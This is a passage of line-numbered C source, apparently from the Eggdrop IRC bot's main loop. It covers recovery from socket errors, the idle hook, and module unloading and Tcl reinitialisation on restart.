  1627. killsock(i);
  1628. }
  1629. } else if (xx == -2 && errno != EINTR) { /* select() error */
  1630. putlog(LOG_MISC, "*", "* Socket error #%d; recovering.", errno);
  1631. for (i = 0; i < dcc_total; i++) {
  1632. if ((fcntl(dcc[i].sock, F_GETFD, 0) == -1) && (errno = EBADF)) {
  1633. putlog(LOG_MISC, "*",
  1634. "DCC socket %d (type %d, name '%s') expired -- pfft",
  1635. dcc[i].sock, dcc[i].type, dcc[i].nick);
  1636. killsock(dcc[i].sock);
  1637. lostdcc(i);
  1638. i--;
  1639. }
  1640. }
  1641. } else if (xx == -3) {
  1642. call_hook(HOOK_IDLE);
  1643. socket_cleanup = 0; /* If we've been idle, cleanup & flush */
  1644. }
  1645. /* FIXME: do_restart */
  1646. if (do_restart) {
  1647. if (do_restart == -2)
  1648. rehash();
  1649. else {
  1650. /* Unload as many modules as possible */
  1651. int f = 1;
  1652. module_entry *p;
  1653. Function x;
  1654. char xx[256];
  1655. /* oops, I guess we should call this event before tcl is restarted */
  1656. check_tcl_event("prerestart");
  1657. while (f) {
  1658. f = 0;
  1659. for (p = module_list; p != NULL; p = p->next) {
  1660. dependancy *d = dependancy_list;
  1661. int ok = 1;
  1662. while (ok && d) {
  1663. if (d->needed == p)
  1664. ok = 0;
  1665. d = d->next;
  1666. }
  1667. if (ok) {
  1668. strcpy(xx, p->name);
  1669. if (module_unload(xx, botnetnick) == NULL) {
  1670. f = 1;
  1671. break;
  1672. }
  1673. }
  1674. }
  1675. }
  1676. for (f = 0, p = module_list; p; p = p->next) {
  1677. if (!strcmp(p->name, "eggdrop") || !strcmp(p->name, "encryption") ||
  1678. !strcmp(p->name, "uptime"))
  1679. f = 0;
  1680. else
  1681. f = 1;
  1682. }
  1683. if (f)
  1684. /* Should be only 3 modules now - eggdrop, encryption, and uptime */
  1685. putlog(LOG_MISC, "*", MOD_STAGNANT);
  1686. /* flushlogs(); */
  1687. kill_tcl();
  1688. init_tcl(argc, argv);
  1689. /* this resets our modules which we didn't unload (encryption and uptime) */
  1690. for (p = module_list; p; p = p->next) {
  1691. if (p->funcs) {
  1692. x = p->funcs[MODCALL_START];
  1693. x(NULL);
  1694. }
  1695. }
  1696. rehash();
  1697. restart_chons();
  1698. call_hook(HOOK_LOADED);
  1699. }
  1700. do_restart = 0;
  1701. }
  1702. }
  1703. }